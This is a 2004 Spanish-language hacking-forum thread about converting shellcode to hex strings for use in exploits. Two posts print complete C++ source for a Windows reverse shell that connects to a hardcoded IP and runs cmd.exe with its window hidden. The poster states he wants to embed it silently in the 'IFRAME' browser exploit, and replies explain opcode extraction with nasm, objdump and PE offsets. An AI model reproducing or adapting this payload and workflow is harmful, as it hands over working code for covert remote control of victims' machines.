elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 17:34  


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  sobre Shellcodes
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: sobre Shellcodes  (Leído 2,278 veces)
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
sobre Shellcodes
« en: 29 Noviembre 2004, 10:40 »

Uhmm... tengo algunas dudas sobre Shellcodes q espero alguien sea tan amable de resolverme...

1) ¿Cómo convertir una shellcode de ASM a string hex?

Es decir, quier convertir, por ejemplo, la siguiente shellcode en formato asm
http://metasploit.org/sc/win32_reverse.asm
a formato \xe8\x30\x00

He estado buscando sobre esto y de lo poco q he encontrado interesante ha sido este link: http://www.hacker-word.net/foro/index.php?topic=442.new

2) ¿Es posible convertir un código c++ a string hex?

Lo digo pq he probado con algunas shellcodes "reverse shell" en formato string hex q al ser ejecutadas, abren una ventana de consola de cmd.exe en el equipo local mientras devuelven la reverse shell al equipo remoto.
Pues bien, conozco una shellcode q es posible modificarla para q no muestre dicha ventana de consola al ser ejecutada. ¿Sería posible convertir este código a shellcode en formato string hex?
El código, en c++, es el siguiente:

Código:
#include <winsock2.h>
#include <stdio.h>


int main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(4949);
        adik_sin.sin_addr.s_addr = inet_addr("192.168.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        //si.dwFlags = STARTF_USESTDHANDLES;
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
si.wShowWindow = SW_HIDE;//
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);

}


Supongo q tendría q usar algún tipo de desensamblador tipo ollydbg, no?

Bueno, a ver si alguien me echa un cable...

Gracias

Salu2
En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: sobre Shellcodes
« Respuesta #1 en: 29 Noviembre 2004, 11:15 »

Vale, ya he encontrado la solución a mi pregunta 1)...

http://www.hackxcrack.com/phpBB2/viewtopic.php?t=16682&highlight=reverse+shell+shellcode

Lo único, es q el tasm no me compila con éxito los asms de HDM:  :o ???
http://metasploit.org/sc/win32_bind.asm
http://metasploit.org/sc/win32_reverse.asm

Me da un montón de errores...
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: sobre Shellcodes
« Respuesta #2 en: 29 Noviembre 2004, 11:20 »

el tasm no lo compila pq es codigo para nasm. sobre como pasar a string la shellcode yo lo hago de esta forma (ejemplo):

principio del programa
marco con labels el principio de la shellcode
codigo de la shellcode
marco con otro label el final

creo un archivo y  escribo en el solo el codigo que esta entre las marcas. despues con otro leo ese archivo y creo toda la cadena \xEB tal y cual.
En línea
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: sobre Shellcodes
« Respuesta #3 en: 29 Noviembre 2004, 11:24 »

Citar
1) ¿Cómo convertir una shellcode de ASM a string hex?

Es decir, quier convertir, por ejemplo, la siguiente shellcode en formato asm
http://metasploit.org/sc/win32_reverse.asm
a formato \xe8\x30\x00

Pues ahora mismo no tengo un windows a la mano, pero cuando trabajaba con viruses en windows, use una herramienta  OMF Object File Dumper V2.00 para dumpear los objects, que me dompeaba los opocdes, ya luego solo es copiarlos asi \xOPCODE. Los Opcodes son representaciones de instrucciones del procesador. Asi lo que tienes que hacer en windows es con tasm(o cualquier compilador) compilas el codigo pero no lo linkees aun, asi al compilarlo tendras el codigo objeto y con esta herramienta lo dumpeas y obtienes los opcodes. Tambien supongo podrias hacerlo con debugger pero no se manejarlo, cuando me veas en msn pidemelo y te doy OMF. En linux es sencillo se puede usar gdb o objdump, el procedimiento es el mismo, compilar y dumpear el objeto para copiar los OPCODES, si quieres verlo mejor mira en este texto que hice ahi en la pagina 23 veras perfecto lo que hablo.
http://coffeesec.webcindario.com/docs/virus_informaticos.pdf


Citar
2) ¿Es posible convertir un código c++ a string hex?

Obvio, cualquier lenguaje pasara a codigo objeto y luego de enlazarlo a codigo binario, asi todos los lenguajes pueden pasarse a opcodes incluso lenguajes como python que no se compilan, aunque lo de python ya da hueva hacerlo, pero en cuanto a c++ es sencillo solo compila y dumpea solo eso :).
En línea

villa

Desconectado Desconectado

Mensajes: 27


Ver Perfil
Re: sobre Shellcodes
« Respuesta #4 en: 29 Noviembre 2004, 22:22 »

Con linux, primero creas el archivo obeto a partir del codigo ensamblador :

nasm -f elf shellcode.asm

Despues, mediante la herramienta objdump pues ver el codigo :

objdump -d


Saludos
En línea
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: sobre Shellcodes
« Respuesta #5 en: 29 Noviembre 2004, 23:47 »

Genial!!! Muchísimas gracias a los tres por contestar!!

Sobre 1) Pues como ya dije, había encontrado una solución en el link de HxC q me permitió descargarme el nº 62 de Phrack. En concreto, me resultó muy útil el apartado p62-0x07_Advances_in_Windows_Shellcode.

He utilizado nasm, en vez de tasm, como dice MrPotato. Me he descargado el AMS http://metasploit.org/sc/win32_reverse.asm
y lo he compilado con nasm -f elf hdmreverse.asm y así obtengo el fichero hdmreverse.o (como dice villa). Creo q el formato elf me deja encontrar más fácilmente la shellcode, cuando abro el hdmreverse.o con un editor hexadecimal, q si utilizo el formato obj. Así pues, abro el fichero hdmreverse.o con el WinHex y obtengo los caracteres hex de la shellcode. (Ver foto adjunta).
Lo único, q tengo q discriminar caracteres hex antes y después de la shellcode, aunq no resulta muy dificil de sacar. Discrimino por detrás de la shellcode, aquellos caracteres q pertenezcan a la línea ".The Netwide Assembler..." Por delante, discrimino toda esa ristra de caracteres 00 00 00, etc. Me equivoco??

Bueno, así es como obtengo la shellcode en string, tal y como aparece en http://metasploit.org/sc/win32_reverse.c

Gracias de nuevo, por ayudarme con esta duda!

Salu2
En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: sobre Shellcodes
« Respuesta #6 en: 30 Noviembre 2004, 00:03 »

Citar
author=heap link=topic=48900.msg227453#msg227453 date=1101723867]
Citar
2) ¿Es posible convertir un código c++ a string hex?

Obvio, cualquier lenguaje pasara a codigo objeto y luego de enlazarlo a codigo binario, asi todos los lenguajes pueden pasarse a opcodes incluso lenguajes como python que no se compilan, aunque lo de python ya da hueva hacerlo, pero en cuanto a c++ es sencillo solo compila y dumpea solo eso :).


Sobre 2) Voy a probar esto ahora:

Obtener el .obj compilando el código Reverse Shell de Adik .cpp con Visual C++ y con LCCWin32 y abrirlo con el WinHex a ver q me encuentro...

Hasta ahora.
« Última modificación: 30 Noviembre 2004, 00:05 por Gospel » En línea

villa

Desconectado Desconectado

Mensajes: 27


Ver Perfil
Re: sobre Shellcodes
« Respuesta #7 en: 30 Noviembre 2004, 00:36 »

Un comentario : en la ultima revista de hakin9 aparece un articulo bastante extenso y muy bien comentado sobre la creación de shellcodes en python. La revista es carilla pero bueno , estan muy bien documentadas y en castellano.

Saludos

P.d -  ;D ;D no me pagan los de hakin9 , pero al leer que en python es complicado y justo ahora mismo estaba leyendo y probando el articulo , he comentado esto. Y no es para nada complicado el concepto y crear una shellcode sencilla.
En línea
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: sobre Shellcodes
« Respuesta #8 en: 30 Noviembre 2004, 01:25 »

Bueno, ya tengo el .obj obtenido al compilar el .cpp. Lcc-win32 daba problemas de compilación (no estoy seguro de q pueda compilar cpps) así q sólo tengo el .obj generado por la compilación del Visual C++. He abierto el .obj con el WinHex y me sale una ristra bastante grande de caracteres hex, asi q no tengo ni idea de cómo buscar la shellcode dentro de esa maraña... aunq he conseguido localizar algunas líneas del código cpp (ver foto adjunta).

El archivo .cpp final es el siguiente:
Código:
#include <winsock2.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")


void main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(9999);
        adik_sin.sin_addr.s_addr = inet_addr("10.10.0.69");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        //si.dwFlags = STARTF_USESTDHANDLES;
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;//
si.wShowWindow = SW_HIDE;//
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);

}

Lo q quiero es obtener la shellcode para implementarla luego en un exploit  :)

Algun comentario al respecto q me pueda guiar??
Muchas Gracias.

Salu2

Pd: Le echaré un ojo a la revista Hakin9 mañana en el kiosko. Tengo ya un par de números y tienen mucha calidad!
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: sobre Shellcodes
« Respuesta #9 en: 30 Noviembre 2004, 02:06 »

Citar
He abierto el .obj con el WinHex y me sale una ristra bastante grande de caracteres hex, asi q no tengo ni idea de cómo buscar la shellcode dentro de esa maraña

te digo como hacerlo en ejecutables, te pillas un editor pe y miras la sección d codigo el offset donde se encuentra la sección, despues con un editor hexadecimal goto y pones el desplazamiento que te sale en el editor pe y ya estas delante de la primera instrucion que se va a ejecutar.
En línea
villa

Desconectado Desconectado

Mensajes: 27


Ver Perfil
Re: sobre Shellcodes
« Respuesta #10 en: 30 Noviembre 2004, 02:15 »

El articulo esta mas o menos al final de la revista, son 18 caras hablando sobre shellcode en python , al final de articulo crean una shellcode parecida a la tuya , pero no hace reverse shell, pero supongo , aún  no sabiendo python , se ve bastante legible y poner que en vez de que se quede a la escucha , que se conecte a una ip no debería ser muy complicado.

En cuanto , lo que estas haciendo........... no sé , no lo he intentando nunca , pero yo creo que al compilarlo , el compilador aparte de meter muchisimo codigo por medio , muchas referencias serán solo para tu sistema. Es decir, si tu haces referencia a un string, el compilador lo mete en memoria en una direccion exacta, y puede ( seguramente..) para otra persona, el string esta en otra direccion al usar esa shellcode.Además, aunque no hicieras referencia a nada en concreto, tambien supogno que habría un monton de bytes nulos que luego habria que quitar.
Igual estoy diciendo una borrada   :o :o

http://www.hackxcrack.com/phpBB2/viewtopic.php?t=19454&highlight=shellcode+linux

Aqui hay una para linux y luego se habla de implementarla para windows.

Saludos
En línea
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: sobre Shellcodes
« Respuesta #11 en: 30 Noviembre 2004, 02:51 »

Bien, voy a probar con eso... gracias Mek.

Pero antes de nada, casi se me olvida este detalle. Estoy con todo este rollo de la shellcode pq quiero cambiar la shellcode del exploit IFRAME por una "reverse shell" Shellcode.

Bueno, el caso es q he conseguido cambiar con éxito la shellcode original por otras tres shellcodes:

HDM's reverse shell Shellcode @ http://metasploit.org/sc/win32_reverse.c
HDM's bind port Shellcode @ http://metasploit.org/sc/win32_bind.c
BFI's reverse shell Shellcode @ http://bfi.freaknet.org/dev/fr/BFi12-dev-04-fr

Y digo con éxito pq realmente funcionan, pero a la hora de ejecutarse muestran una ventana de consola con el título de CMD.EXE. Estoy bastante confuso por este comportamiento, ya q la shellcode del autor del exploit se ejecuta silenciosamente, sin mostrar ventana. Es por ello, q ahora estoy probando a convertir a Shellcode en string este código en C++ q, supuestamente, no muestra tal ventana de consola. Espero q, al final, después de todo el proceso hasta llegar a obtener la shellcode definitiva, esta se ejecute silenciosamente... sino, me va a dar un pasmo. -_-U

Villa, la shellcode q implementan para Windows, es la misma q uso yo. La shellcode de Adik.
Lo de q la shellcode sea portable a otros sistemas, ni idea... por eso intento aclarar todo lo q puedo mi situación. Por si alguien me dice q lo mio no va a funcionar, pues me ahorro tener q currarmelo todo... el proceso es algo tedioso.

Gracias por contestar

Salu2
En línea

loredo

Desconectado Desconectado

Mensajes: 234



Ver Perfil
Re: sobre Shellcodes
« Respuesta #12 en: 30 Noviembre 2004, 03:01 »

Citar
Me he descargado el AMS http://metasploit.org/sc/win32_reverse.asm
y lo he compilado con nasm -f elf hdmreverse.asm y así obtengo el fichero hdmreverse.o (como dice villa).

No estoy seguro pero si pones: nasm -f bin win32_reverse.asm -o win32_reverse.com, el fichero creado es justamente la shellcode y de esta manera no tienes que andar extrayendo la shellcode si haces el objeto del tipo -elf..

Mi duda ahora es como a partir del fichero con la shellcode en IA32 como puedo pasarlo a la tipica estructura de c tipo:
Citar
char code[] =
"\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa" ...;
se me ha ocurrido la idea de hacer un programita que vaya leyendo cada dos caracteres y que añada un \x, pero me preguntaba si esto ya existe..
En línea

Los sabios buscan la sabiduría, los necios creen haberla encontrado...
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.587


Ver Perfil WWW
Re: sobre Shellcodes
« Respuesta #13 en: 30 Noviembre 2004, 03:14 »

LoReDo, échale un vistazo a esto:

http://www.edup.tudelft.nl/~bjwever/documentation_beta.html

Salu2
En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re: sobre Shellcodes
« Respuesta #14 en: 30 Noviembre 2004, 03:19 »

respecto a lo de que te muestra una ventana de msdos, en la estructura STARTUPINFO tienes la opcion de no mostrar la ventana (wShowWindow)
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Batch] Codificador de shellcodes
Scripting
lShadowl 0 1,368 Último mensaje 27 Febrero 2011, 00:29
por lShadowl
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines